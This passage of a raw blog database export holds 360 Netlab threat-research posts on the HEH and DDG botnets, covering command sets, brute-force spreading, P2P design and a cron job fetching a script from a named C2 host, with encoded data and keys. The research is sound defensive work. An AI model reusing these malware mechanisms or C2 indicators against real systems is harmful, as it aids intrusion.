bytes onwards. Take No. "],[0,[0],1,"7"],[0,[],0," Bot Cmd ("],[0,[0],1,"Cmd.UpdateBotFile"],[0,[],0,") as an example, the instruction data structure is as follows:"]]],[10,9],[1,"p",[[0,[],0,"HEH Bot verifies the received Bot Cmd data in 3 steps:"]]],[3,"ol",[[[0,[],0,"Check the length of the command data and Extra Flag;"]],[[0,[],0,"Use PSS Signature to verify command data;"]],[[0,[],0,"Check the Sha256 Hash of the last real cmd data."]]]],[1,"p",[[0,[],0,"The logic of the last two steps is as follows:"]]],[10,10],[1,"p",[[0,[],0,"Among them, the public key used when verifying PSS Signature is:"]]],[10,11],[1,"p",[[0,[],0,"The Bot Cmd supported by HEH Bot are as follows:"]]],[1,"p",[[0,[],0,"Cmd CodeMeaning"],[0,[0],1,"0"],[0,[0],1,"Restart"],[0,[],0,": Restart the Bot"],[0,[0],1,"2"],[0,[0],1,"Exit"],[0,[],0,": Exit current running bot"],[0,[0],1,"3"],[0,[0],1,"Attack"],[0,[],0,": launch attacks ( "],[0,[0],1,"not implemented"],[0,[],0," )"],[0,[0],1,"4"],[0,[0],1,"Execute"],[0,[],0,": Execute Shell Commond"],[0,[0],1,"5"],[0,[0],1,"Print"],[0,[],0,": "],[0,[0],1,"not implemented"],[0,[0],1,"6"],[0,[0],1,"PeerUpdate"],[0,[],0,": Update Peer List"],[0,[0],1,"7"],[0,[0],1,"UpdateBotFile"],[0,[],0,": By specifying a file download link, let the bot download and update the content of the file held by the bot. This file will be used as HTTP Response Data by the local HTTP Server which launched by the bot"],[0,[0],1,"8"],[0,[0],1,"SelfDestruct"],[0,[],0,": Destruct the device"],[0,[0],1,"9"],[0,[0],1,"Misc"],[0,[],0,": "],[0,[0],1,"not implemented"]]],[1,"p",[[0,[],0,"At present, the most useful functions for the entire Botnet are to "],[0,[0],1,"execute Shell commands"],[0,[],0,", "],[0,[0],1,"update Peer List"],[0,[],0," and "],[0,[0],1,"UpdateBotFile"],[0,[],0,". The "],[0,[0],1,"Attack"],[0,[],0," function in the code is just a reserved empty function, and has not been implemented. It can be seen that the Botnet is still in the developement stage. We will see what the author comes up with the "],[0,[0],1,"Attack"],[0,[],0," feature."]]],[1,"p",[[0,[],0,"The function for parsing Bot Cmd in Bot is "],[0,[0],1,"main.executeCommand()"],[0,[],0," . The overall structure of this function is as follows:"]]],[10,12],[1,"p",[[0,[0],1,"Self-destruction"]]],[1,"p",[[0,[],0,"There is one thing really worth noting here. When the Bot receives a cmd with code number "],[0,[0],1,"8"],[0,[],0," , the Bot will try to wipe out everything on all the disks through the following series of Shell commands:"]]],[10,13],[1,"h3",[[0,[0],1,"Communication module-Telnet service brute force cracking"]]],[1,"p",[[0,[],0,"After the Bot runs the P2P module, it will execute the brute force task against the Telnet service for the two ports 23 and 2323 in a parallel manner, and then complete its own propagation."]]],[1,"p",[[0,[],0,"First, the Bot will generate a random IP address, and then check whether the IP address is "],[0,[0],1,"127.0.0.1"],[0,[],0," :"]]],[10,14],[1,"p",[[0,[],0,"If the IP address is "],[0,[0],1,"not 127.0.0.1"],[0,[],0," , the IP will be scanned. If the Telnet service is opened on port 23 or 2323, it will enter the brute force stage. The related functions are as follows:"]]],[10,15],[1,"p",[[0,[],0,"The password dictionary exists in the form of global "],[0,[0],1,"Slice"],[0,[],0," variables, including "],[0,[0],1,"171"],[0,[],0," usernames and "],[0,[0],1,"504"],[0,[],0," passwords : (we are not sharing the list publicly due to security concerns) :"]]],[10,16],[1,"p",[[0,[],0,"If the attempt is successful, the bot will let the victim access the bot’s own HTTP service, and execute the corresponding file obtained through HTTP (ie the latest Bot sample) to complete the spread:"]]],[10,17],[1,"h2",[[0,[0],1,"Sum up"]]],[1,"p",[[0,[],0,"The operating mechanism of this botnet is not yet mature, as we can see from above, some important function such as attack module have not yet been implemented. Also the P2P implementation still has flaws, the Bot does maintain a Peer List internally, and there is ongoing Ping<-->Pong communication between peers, but the entire Botnet still is considered centralized, as currently the bot node cannot send control command. In addition, the mechanism of carrying the sample itself through the local HTTP Server is not very pretty. With that being said, the new and developing P2P structure, the multiple CPU architecture support, the embedded self-destruction feature, all make this botnet potentially dangerous."]]],[1,"h2",[[0,[0],1,"Contact us"]]],[1,"p",[[0,[],0,"Readers are always welcomed to reach us on "],[0,[0,3],2,"twitter"],[0,[],0," , or email to "],[0,[0],1,"netlab at 360 dot cn"],[0,[],0,"."]]],[1,"h2",[[0,[0],1,"IoC"]]],[1,"p",[[0,[],0,"MD5:"]]],[10,18]],"ghostVersion":"3.0"} | 609617a93819e50007633d21 |
post | null | 2021-05-08T04:48:21.000Z | 63873b9a8b1c1e0007f52fc3 | ddg-botnet-round-x-is-there-an-ending | 0 | 2021-05-08T04:49:19.000Z | public | published | null | 2020-04-08T04:48:00.000Z | DDG botnet, round X, is there an ending? | <p>DDG is a mining botnet that we first blogged about in Jan 2018, we reported back then that it had made a profit somewhere between 5.8million and 9.8million RMB(about 820,000 to 1.4Million US dollar ), we have many follow up <a href="__GHOST_URL__/tag/ddg/"><strong>blogs </strong></a>about this botnet after that, but it shows no sign of slowing down.</p><p>Since November 2019, we started to see a frenzy of version updates of DDG, all together, we counted 20 updates, the following is a timeline:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/ddg_version_timeline-2.png" class="kg-image" alt loading="lazy"></figure><p>This is something unprecedent, more interestingly, we see DDG totally dropped the mechanism for infecting servers on public network, instead, it put all its focus on the servers on intranet.</p><p>DDG now discard the use of XMR wallet so we lost the visibility on the money it makes now, but given the above two factors, it is probably safe to bet this botnet is making very good profits, the author probably is pretty happy with the already compromised devices he got, and he wants to stay low, and is in no rush to expand his bot army.</p><p>In the early days, DDG used IP and DNS for C2 communications, in 2018 we successfully registered two C2 domains in advanced before the author could do so and <strong><a href="__GHOST_URL__/ddg-a-mining-botnet-aiming-at-database-server-en/">sinkholed</a></strong> the traffic, and we were able to get an accurate count of the compromised servers, 4,391 at that time..</p><p>One year later, in Jan 2019, DDG ditched the DNS C2 and introduced <a href="https://github.com/hashicorp/memberlist"><strong>Memberlist </strong></a>based P2P network into its communication protocol. We <a href="__GHOST_URL__/ddg-botnet-a-frenzy-of-updates-before-chinese-new-year-2/"><strong>blogged </strong></a>about it and was able to tap into the P2P network to track the infected devices again, and we logged a total of 5,695 devices</p><p>In Feb 2020, DDG made a major change regarding to its communication protocol again, a self-developed P2P protocol to build a hybrid P2P network has been adopted. The botnet still needs static C2(IP or dns), but with this new development, the author basically has a fail back safe that even if the c2 is taken down, the infected devices are still going to keep going and perform the mining tasks.</p><p>With this new update, we correspondingly developed a new p2p tracking module that joins the botnet’s P2P network to track it, the number we are getting this time is much lower though, about 900 nodes every day, this has things to do with the new hybrid P2P implementation as it won’t spit out all nodes now. And keep in mind that the botnet focuses on intranet now, so there are probably many devices behind a single ip.</p><p>To get a better number of the infection in China, we collaborate with a trusted partner in China, and was able to get the daily unique clients count just in China that connect to the active C2 on its C2 port, the daily number is about 17,xxx. the compromised devices are mostly servers, so frequent IP change is not expected, and there will be noise in this number for sure, but the number might provide some perspectives of the botnet’s size just in China.</p><p>We are now <a href="https://github.com/0xjiayu/DDGBotnetTracker/tree/master/v2"><strong>sharing </strong></a>the tracking demo with some related data and data parsing tools at Github, so more security researchers can take a good look at it and hopefully slow down the seemingly unstoppable DDG botnet.</p><p>Currently, DDG only goes after weak SSH password for one single user name <strong>root</strong>, and the password dictionary comes with DDG has <strong>17,907</strong> entries in it, so make sure you have strong password for your <strong>root </strong>(and all other accounts)!</p><p>We are now simultaneously publishing a VERY lengthy technical write up, including IoCs with this blog <strong><a href="__GHOST_URL__/ddg-upgrade-to-new-p2p-hybrid-model/">here</a> </strong>for readers who want to read all the newest details. Take a breath and check it out!</p> | DDG is a mining botnet that we first blogged about in Jan 2018, we reported back then that it had made a profit somewhere between 5.8million and 9.8million RMB(about 820,000 to 1.4Million US dollar ), we have many follow up blogs about this botnet after that, but it shows no sign of slowing down.
Since November 2019, we started to see a frenzy of version updates of DDG, all together, we counted 20 updates, the following is a timeline:
This is something unprecedent, more interestingly, we see DDG totally dropped the mechanism for infecting servers on public network, instead, it put all its focus on the servers on intranet.
DDG now discard the use of XMR wallet so we lost the visibility on the money it makes now, but given the above two factors, it is probably safe to bet this botnet is making very good profits, the author probably is pretty happy with the already compromised devices he got, and he wants to stay low, and is in no rush to expand his bot army.
In the early days, DDG used IP and DNS for C2 communications, in 2018 we successfully registered two C2 domains in advanced before the author could do so and sinkholed the traffic, and we were able to get an accurate count of the compromised servers, 4,391 at that time..
One year later, in Jan 2019, DDG ditched the DNS C2 and introduced Memberlist based P2P network into its communication protocol. We blogged about it and was able to tap into the P2P network to track the infected devices again, and we logged a total of 5,695 devices
In Feb 2020, DDG made a major change regarding to its communication protocol again, a self-developed P2P protocol to build a hybrid P2P network has been adopted. The botnet still needs static C2(IP or dns), but with this new development, the author basically has a fail back safe that even if the c2 is taken down, the infected devices are still going to keep going and perform the mining tasks.
With this new update, we correspondingly developed a new p2p tracking module that joins the botnet’s P2P network to track it, the number we are getting this time is much lower though, about 900 nodes every day, this has things to do with the new hybrid P2P implementation as it won’t spit out all nodes now. And keep in mind that the botnet focuses on intranet now, so there are probably many devices behind a single ip.
To get a better number of the infection in China, we collaborate with a trusted partner in China, and was able to get the daily unique clients count just in China that connect to the active C2 on its C2 port, the daily number is about 17,xxx. the compromised devices are mostly servers, so frequent IP change is not expected, and there will be noise in this number for sure, but the number might provide some perspectives of the botnet’s size just in China.
We are now sharing the tracking demo with some related data and data parsing tools at Github, so more security researchers can take a good look at it and hopefully slow down the seemingly unstoppable DDG botnet.
Currently, DDG only goes after weak SSH password for one single user name root, and the password dictionary comes with DDG has 17,907 entries in it, so make sure you have strong password for your root (and all other accounts)!
We are now simultaneously publishing a VERY lengthy technical write up, including IoCs with this blog here for readers who want to read all the newest details. Take a breath and check it out! | {"version":"0.3.1","atoms":[],"cards":[["image",{"src":"__GHOST_URL__/content/images/2020/04/ddg_version_timeline-2.png","alt":"","title":""}]],"markups":[["a",["href","__GHOST_URL__/tag/ddg/"]],["strong"],["a",["href","__GHOST_URL__/ddg-a-mining-botnet-aiming-at-database-server-en/"]],["a",["href","https://github.com/hashicorp/memberlist"]],["a",["href","__GHOST_URL__/ddg-botnet-a-frenzy-of-updates-before-chinese-new-year-2/"]],["a",["href","https://github.com/0xjiayu/DDGBotnetTracker/tree/master/v2"]],["a",["href","__GHOST_URL__/ddg-upgrade-to-new-p2p-hybrid-model/"]]],"sections":[[1,"p",[[0,[],0,"DDG is a mining botnet that we first blogged about in Jan 2018, we reported back then that it had made a profit somewhere between 5.8million and 9.8million RMB(about 820,000 to 1.4Million US dollar ), we have many follow up "],[0,[0,1],2,"blogs "],[0,[],0,"about this botnet after that, but it shows no sign of slowing down."]]],[1,"p",[[0,[],0,"Since November 2019, we started to see a frenzy of version updates of DDG, all together, we counted 20 updates, the following is a timeline:"]]],[10,0],[1,"p",[[0,[],0,"This is something unprecedent, more interestingly, we see DDG totally dropped the mechanism for infecting servers on public network, instead, it put all its focus on the servers on intranet."]]],[1,"p",[[0,[],0,"DDG now discard the use of XMR wallet so we lost the visibility on the money it makes now, but given the above two factors, it is probably safe to bet this botnet is making very good profits, the author probably is pretty happy with the already compromised devices he got, and he wants to stay low, and is in no rush to expand his bot army."]]],[1,"p",[[0,[],0,"In the early days, DDG used IP and DNS for C2 communications, in 2018 we successfully registered two C2 domains in advanced before the author could do so and "],[0,[1,2],2,"sinkholed"],[0,[],0," the traffic, and we were able to get an accurate count of the compromised servers, 4,391 at that time.."]]],[1,"p",[[0,[],0,"One year later, in Jan 2019, DDG ditched the DNS C2 and introduced "],[0,[3,1],2,"Memberlist "],[0,[],0,"based P2P network into its communication protocol. We "],[0,[4,1],2,"blogged "],[0,[],0,"about it and was able to tap into the P2P network to track the infected devices again, and we logged a total of 5,695 devices"]]],[1,"p",[[0,[],0,"In Feb 2020, DDG made a major change regarding to its communication protocol again, a self-developed P2P protocol to build a hybrid P2P network has been adopted. The botnet still needs static C2(IP or dns), but with this new development, the author basically has a fail back safe that even if the c2 is taken down, the infected devices are still going to keep going and perform the mining tasks."]]],[1,"p",[[0,[],0,"With this new update, we correspondingly developed a new p2p tracking module that joins the botnet’s P2P network to track it, the number we are getting this time is much lower though, about 900 nodes every day, this has things to do with the new hybrid P2P implementation as it won’t spit out all nodes now. And keep in mind that the botnet focuses on intranet now, so there are probably many devices behind a single ip."]]],[1,"p",[[0,[],0,"To get a better number of the infection in China, we collaborate with a trusted partner in China, and was able to get the daily unique clients count just in China that connect to the active C2 on its C2 port, the daily number is about 17,xxx. the compromised devices are mostly servers, so frequent IP change is not expected, and there will be noise in this number for sure, but the number might provide some perspectives of the botnet’s size just in China."]]],[1,"p",[[0,[],0,"We are now "],[0,[5,1],2,"sharing "],[0,[],0,"the tracking demo with some related data and data parsing tools at Github, so more security researchers can take a good look at it and hopefully slow down the seemingly unstoppable DDG botnet."]]],[1,"p",[[0,[],0,"Currently, DDG only goes after weak SSH password for one single user name "],[0,[1],1,"root"],[0,[],0,", and the password dictionary comes with DDG has "],[0,[1],1,"17,907"],[0,[],0," entries in it, so make sure you have strong password for your "],[0,[1],1,"root "],[0,[],0,"(and all other accounts)!"]]],[1,"p",[[0,[],0,"We are now simultaneously publishing a VERY lengthy technical write up, including IoCs with this blog "],[0,[1,6],1,"here"],[0,[],1," "],[0,[],0,"for readers who want to read all the newest details. Take a breath and check it out!"]]]],"ghostVersion":"3.0"} | 609618153819e50007633d27 |
post | null | 2021-05-08T04:49:34.000Z | 63873b9a8b1c1e0007f52fc4 | ddgde-xin-zheng-cheng-zi-yan-p2pxie-yi-gou-jian-hun-he-p2pwang-luo | 0 | 2021-05-08T05:13:46.000Z | public | published | null | 2020-05-07T04:50:00.000Z | DDG的新征程——自研P2P协议构建混合P2P网络 | <h2 id="1-"><strong>1. 概述</strong></h2><p>DDG Mining Botnet 是一个活跃已久的挖矿僵尸网络，其主要的盈利方式是挖 XMR。从 2019.11 月份至今，我们的 Botnet 跟踪系统监控到 DDG Mining Botnet 一直在频繁跟新，其版本号和对应的更新时间如下图所示：</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2020/04/ddg_version_timeline-1.png" class="kg-image" alt loading="lazy"><figcaption>DDG Version Timeline</figcaption></figure><p>其中，v4005~v4011 版本最主要的更新是把以前以 Hex 形式硬编码进样本的 HubList 数据，改成了 <a href="https://jiayu0x.com/2019/11/19/decode-gob-data-in-ddg-v4005/">Gob 序列化</a>的方式；v5009 及以后的版本，则摒弃了以前<a href="__GHOST_URL__/dog-recent-updates-p2p-adopted-and-anti-analysis-enhanced/">基于 <strong>Memberlist</strong> 来构建 P2P 网络</a>的方式，改用自研的 P2P 协议来构建<a href="https://en.wikipedia.org/wiki/Peer-to-peer#Hybrid_models">混合模式 P2P 网络</a> 。简化的网络结构如下：</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2020/04/hybrid_p2p_network-2.png" class="kg-image" alt loading="lazy"><figcaption>P2P Hybrid Model</figcaption></figure><p>右边服务器是 C&C Server，DDG 中称它为 <strong>xhub</strong> 节点，是一个超级节点，除了与各 Bot 相同的 P2P 通信功能之外，还具有以下功能：</p><ul><li>统计各 Peer 信息( Peer 会向它注册，上传自身信息)</li><li>协助各 Peer 寻找到对方，xhub 节点里保存了大量的 P2P Peers 列表，它会在 Bot 向其注册的时候把一部分列表分享给 Bot；而每个 Bot 最多保存 200 条 Peers <code><ip:port></code> 列表；</li><li>承载原始的恶意 Shell 脚本、主样本和其他组件的下载服务。</li></ul><p>我们的 Botnet 跟踪系统追踪到 DDG 当前的 <strong>一部分</strong> P2P Nodes(失陷主机)，最近每天平均可以追踪到 900 个 Nodes，其中可验证存活的比例达 98%:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/data_statics-1.png" class="kg-image" alt loading="lazy"></figure><p>根据我们合作伙伴提供的统计数字，中国大陆境内活跃的 Bot 有17,590 个。根据我们的追踪数据，中国大陆境内的 Bot 数量约占总量的 86%，以此反推，DDG 目前在全球范围内的 Bot 数量约 20,000。</p><p>DDG 支持的传播途径，有以下 4 个：</p><ul><li>SSH 服务暴破；</li><li>Redis 未授权访问漏洞；</li><li>针对 Nexus Repository Manager 3 RCE 漏洞(CVE-2019-7238)的利用；</li><li>针对 Supervisord RCE 漏洞(CVE-2017-11610)的利用。</li></ul><p>根据我们的追踪数据，DDG 最近一段时间一直没有开启公网传播，而只利用 SSH 暴破在内网传播。其内网传播的开关，在 <strong><a href="https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/data/slave.json">slave config</a></strong> 里设置：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/slave_conf_aassh.png" class="kg-image" alt loading="lazy"></figure><p>另外，根据我们对 DDG 过去一年的追踪统计，它从 2019.1 月份至今共用了 24 个 C&C，每个 CC 的活跃时段统计如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/cc_history_light.png" class="kg-image" alt loading="lazy"></figure><p>最后，旧版本的 DDG Botnet Tracker 已经无法工作，我们现已将其开源：</p><p><strong><a href="https://github.com/0xjiayu/DDGBotnetTracker/tree/master/v1">https://github.com/0xjiayu/DDGBotnetTracker/tree/master/v1</a></strong></p><p>并且公开最新版本 DDG 相关的运行日志、相关数据和相应解析工具，以及一个基于 P2P 机制的 Pre-Built Demo Tracker Program(ELF Binary file):</p><p><strong><a href="https://github.com/0xjiayu/DDGBotnetTracker/tree/master/v2">https://github.com/0xjiayu/DDGBotnetTracker/tree/master/v2</a></strong></p><h2 id="2-"><strong>2. 样本关键行为分析</strong></h2><p>就 DDG 当前最新的 v5023 版本来看，DDG 有一些有趣的新特性：</p><ul><li>用特定算法生成一个 4 字符的目录名，并在 <code>/var/lib/</code> 或 <code>/usr/local/</code> 下创建相应的<strong>隐藏目录</strong>作为工作目录，存放本地配置信息和从 C&C 或 P2P Peer 下载到的文件或数据；</li><li>自定义 Base64 编码的编码表(Alphabet)；</li><li>对关键数据和文件频繁使用编码(Base64/Adler32)、加密(AES)、压缩(Gzip)和数字签名(RSA/ED25519)手段，以对抗分析和数据伪造；</li><li>除了以前的 <strong>slave</strong> Config 来控制 Bot 执行挖矿和传播任务，又新增了一个 <strong>jobs</strong> Config 文件来对 Bot 进行更复杂的任务控制；</li><li>自研 P2P 协议，并以此在 Nodes 之间交换最新各自持有的 C&C、Nodes 列表和恶意任务指令配置等信息，还可以在 Peers 之间传播恶意组件。</li></ul><p>以 DDG v5023 版本的样本为例，其主要的执行流程，从恶意 Shell 脚本文件 <strong>i.sh</strong> 开始，如下所示：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/work_flow-1.png" class="kg-image" alt loading="lazy"></figure><h3 id="2-1-shell-i-sh"><strong>2.1 恶意 Shell 脚本 i.sh</strong></h3><p>DDG 每成功入侵一台主机，就会先执行这个 <strong>i.sh</strong> 脚本。 <strong>i.sh</strong> 主要执行 3 个任务：</p><ol><li>篡改 Cron job，在 <code>/var/spool/cron/root</code> 和 <code>/var/spool/cron/crontabs/root</code> 写入恶意 Cron job，每 15 分钟下载 <code>hxxp://67.205.168.20:8000/i.sh</code> 并运行；</li><li>下载并执行最新的 DDG 主样本文件；</li><li>检测目录 <code>/usr/local/bin/</code> | <code>/usr/libexec/</code> | <code>/usr/bin/</code> 是否可写。</li></ol><h3 id="2-2-"><strong>2.2 初始化</strong></h3><p>DDG 的主样本由 Go 语言编写，编译出来的原始 ELF 文件体积比较大。DDG 的作者就用 UPX Packer 把原始 ELF 文件加壳，一方面一定程度上可以对抗自动化分析，另一方面缩小了文件体积，便于网络传输。</p><p>DDG 的主样本里实现了多个工作模块，有一些后续用到的数据和全局变量，涉及相应的初始化工作。比如生成全局自定义 Alphabet 的 Base64 编解码句柄，解析样本内硬编码的 <strong>xhub</strong>(C&C) 相关数据和 <strong>xSeeds</strong>(P2P Seed Nodes List) 数据，解析样本内硬编码的弱口令字典(用于后续的 SSH 服务暴破)等等。</p><h4 id="2-2-1-alphabet-base64-"><strong>2.2.1 自定义 Alphabet 的 Base64 编码</strong></h4><p>在函数 <code>ddgs_common_init</code> 中，DDG 基于自定义的 Alphabet 创建了一个全局的 Base64 编解码句柄：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/b64Enc-1.png" class="kg-image" alt loading="lazy"></figure><p>自定义的 Alphabet 为：</p><p><strong>"eDy54SH1N2s-Y7g3qnurvaTW_0BlCMJhfb6wtdGUcROXPAV9KEzIpFoi8xLjkmZQ"</strong></p><p>生成的全局 Base64 编解码句柄，会在后续被用来：</p><ul><li>解析内置硬编码的 <strong>xhub</strong> 和 <strong>xSeeds</strong> 数据；</li><li>解析后续从服务器下载到的文件 Sig、与 P2P Nodes 通信时的自定义 HTTP Header(<strong>X-Hub</strong> / <strong>X-Seed</strong> / <strong>X-Sig</strong>)</li><li>响应其他 P2P Peer 的请求时，编码自定义 HTTP Header(<strong>X-Hub</strong> / <strong>X-Seed</strong> / <strong>X-Sig</strong>)</li></ul><h4 id="2-2-2-xhub-xseeds"><strong>2.2.2 解析内置 xhub/xSeeds</strong></h4><p>在 DDG 中，<strong>xSeeds</strong> 就是 P2P Seed Nodes 列表，每个 Bot 都持有一份 Seed Nodes List，里面内置了 200 个 P2P Node <code><ip:port></code> 列表。Bot 可以与他们通信交换数据。</p><p><strong>xhub</strong> 即 C&C 服务器信息，C&C 服务器可以指定多个。</p><p>在函数 <code>ddgs_xnet_init_0</code> 中，DDG 解析了内置的 <strong>xhub</strong> 和 <strong>xSeeds</strong> 数据，还对 <strong>xhub</strong> 数据用 <strong>ed25519</strong> 算法校验是否被伪造。<strong>xhub</strong> 的解析、验证汇编代码如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/xsig_verify-1.png" class="kg-image" alt loading="lazy"></figure><p>DDG v5023 样本中内置的 <strong>xhub</strong> 数据为经过自定义 Alphabet Base64 编码过的字串：</p><pre><code>fOSIE4y3ZPcTuT7weiMSSr7-0-Vem5IfTxEbUirWGS9j5NsDJh2k54RsnK08lG-ECaHQ4ARiWy3mJs0O9HzBpP6iANY7cTHnPw_i-wNK7u8E7wfVYweLg5eKYe
</code></pre><p>经过 Base64 解码后，还需要用 <a href="http://msgpack.org/">msgPack</a> 进行一层解码，才能得到 <strong>xhub</strong> 的原始明文数据。解析上面的编码数据，可以得到两个关键数据：</p><ul><li>C&C 列表，目前只有一个：<strong>67.205.168.20:8000</strong>；</li><li>ed25519 Signature：</li></ul><pre><code>0x8f, 0xfa, 0xca, 0x16, 0x49, 0x63, 0x63, 0x03, 0x77, 0x45, 0x15, 0x33, 0x4b, 0x64, 0xbb, 0x80,
0xf4, 0x3c, 0xe0, 0x5b, 0x9c, 0x61, 0x9f, 0x74, 0xd7, 0x98, 0x5b, 0xfb, 0x0c, 0x82, 0x81, 0x79,
0xf2, 0x7c, 0x0c, 0x4a, 0x4a, 0x47, 0x06, 0x78, 0x6e, 0x62, 0xf1, 0x71, 0x51, 0xbf, 0x12, 0xda,
0x77, 0x5c, 0x23, 0xfd, 0x78, 0xa6, 0x6a, 0xbc, 0x6c, 0x9a, 0xd2, 0xc8, 0xb7, 0xb4, 0x83, 0x0d</code></pre><p>样本中解出 C&C 列表和 ed25519 的 Signature 之后，就会用相反的步骤用 ed25519 算法来校验 C&C 列表是否被伪造。校验时用到的 RSA 公钥为：</p><pre><code>0x20, 0x0A, 0x51, 0x81, 0x91, 0xE9, 0xF2, 0x54,
0x78, 0xFC, 0x1E, 0x66, 0x7B, 0x8F, 0x8D, 0xAC,
0xCF, 0x62, 0x28, 0x18, 0x46, 0xEC, 0x45, 0x7C,
0xF5, 0xC3, 0xBA, 0x4C, 0x86, 0xB0, 0xB5, 0x41
</code></pre><p><strong>xhub</strong> 数据的解析方法：<br><a href="https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/tools/xsig_verify.go"><strong>https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/tools/xsig_verify.go</strong></a></p><p><strong>xSeeds</strong> 包含 200 条 P2P Node <code><ip:port></code> 列表，数据量比较大，共 0x8E2 Bytes：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/xseeds_raw-1.png" class="kg-image" alt loading="lazy"></figure><p>而且 DDG 样本对 xSeeds 解析步骤与 xhub 的解析略有不同，经过分析，xSeeds 经过以下 3 层处理，而不用 ed25519 校验：</p><ol><li>msgpack 序列化编码；</li><li>gzip 压缩</li><li>自定义 Alphabet 的 Base64 编码</li></ol><p><strong>xSeeds</strong> 数据的解析方法：</p><p><a href="https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/tools/dec_seeds.go"><strong>https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/tools/dec_seeds.go</strong></a></p><h4 id="2-2-3-"><strong>2.2.3 解析内置弱口令字典</strong></h4><p>在全局初始化函数 <code>ddgs_global_init</code> 中，DDG 调用了一个函数 <code>ddgs_global_decodePasswords</code> ，在这个函数中解密并校验内置的弱口令字典，这些弱口令将在后续传播阶段被用来暴破 SSH 服务(暴破 SSH 服务时用的用户名为 <strong>root</strong> )：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/decPasswd-1.png" class="kg-image" alt loading="lazy"></figure><p>弱口令数据是经过 <strong>AES</strong> 加密、gzip 压缩后内置在样本中的，密文数据共 0x2BCFE Bytes：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/passwds_raw-1.png" class="kg-image" alt loading="lazy"></figure><p>DDG 会首先对上面数据用 gzip 解压，解压后密文数据结构如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/passwds_cipherdata-1.png" class="kg-image" alt loading="lazy"></figure><p>DDG 会先用 ed25519 对上述密文数据的 Sha256 值进行校验(公钥与前面校验 <strong>xhub</strong> 时用的公钥相同)，校验成功之后才会用 AES 算法将其解密，解密后得到一份 <strong>17,907</strong> 条密码的弱口令字典:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/passwd_list-1.png" class="kg-image" alt loading="lazy"></figure><h4 id="2-2-4-ed25519-"><strong>2.2.4 创建全局 ed25519 密钥对</strong></h4><p>在函数 <strong>ddgs_global_init</strong> 中，DDG 还有另外一项关键全局变量的初始化工作：创建一对全局 ed25519 密钥，用以在后续存取 BoltDB 中数据时对数据进行签名和校验：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/init_global_edKeys-1.png" class="kg-image" alt loading="lazy"></figure><p>创建密钥对的种子如下：</p><pre><code>0x5C, 0x9E, 0xAE, 0xAE, 0x43, 0x26, 0xB7, 0xA2,
0x52, 0xDC, 0x43, 0xF9, 0xBD, 0x3F, 0xD1, 0xA6,
0xC8, 0xB0, 0x28, 0xE1, 0xDF, 0xA8, 0xB0, 0xF5,
0xCF, 0x43, 0xE7, 0x82, 0xD1, 0x90, 0x11, 0x6B
</code></pre><h3 id="2-3-"><strong>2.3 创建工作目录</strong></h3><p>旧版本的 DDG 会直接把当前用户的 HOME 目录作为自己的工作目录，主要是在此目录下创建隐藏的 <a href="https://github.com/boltdb/bolt"><strong>BoltDB</strong></a> 文件，文件中存放 Hublist 数据(旧版本的 P2P Node List)。现在新版本的 DDG 会用特定算法生成目录名，并在 <code>/var/lib/</code> 或 <code>/usr/local/</code> 目录下创建相应的<strong>隐藏目录</strong>。Go 语言实现的工作目录名生成算法如下(假设当前 DDG 二进制样本文件的路径为 <code>/root/ddgs_x64</code>)：</p><p><a href="https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/tools/gen_workdir_name.go"><strong>https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/tools/gen_workdir_name.go</strong></a></p><p>上面程序的执行结果是 <strong>jsfc</strong> ，那么 DDG 就会尝试创建目录 <code>/var/lib/.jsfc</code>，后续工作目录的结构如下：</p><pre><code>/var/lib/.jsfc
├── 5023
│ └── cache
│ └── static
│ ├── bb3
│ │ ├── busybox.x86_64
│ │ └── busybox.x86_64.sig
│ ├── wordpress
│ └── wordpress.sig
└── .local
</code></pre><p>其中 <code>.local</code> 文件即为 BoltDB 格式的文件，其它的还有从 C&C 服务器上下载到的恶意挖矿程序(<strong>wordpress</strong>) 、编译好的 Busybox ELF 文件以及它们相应的数字签名。</p><h3 id="2-4-boltdb-"><strong>2.4 BoltDB 文件</strong></h3><p><a href="https://github.com/boltdb/bolt"><strong>BoltDB</strong></a> 是一个基于内存的小型 KV 数据库，其数据内容可以落地到磁盘文件。DDG 旧版本中用 BoltDB 来存放明文 Hublist 数据。在 DDG 最新的 BoltDB 数据库中，有一个 <strong>Bucket</strong> 名为 <strong>xproxy</strong>。<strong>xproxy</strong> 里存放了 3 份数据：</p><ol><li><strong>hubsig</strong>: xhub 信息；</li><li><strong>seeds</strong>: xSeeds 数据；</li><li><strong>port</strong>: 本地在 (30000~65535) 范围内随机监听的 TCP 端口，用来相应其他 P2P Nodes 的通信请求。</li></ol><p>DDG 对这 3 份数据，每一份都做了如前文内置弱口令字典数据同样的处理，经过 msgpack 序列化编码后再用 AES 加密，重组加密数据后再存入 BoltDB。重组的密文数据结构也与弱口令字典密文数据结构相同:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/cipherdata_struct-1.png" class="kg-image" alt loading="lazy"></figure><p>不同的是，DDG 对 BoltDB 中数据的签名和校验用到的全局密钥，是函数 <strong>ddgs_global_init</strong> 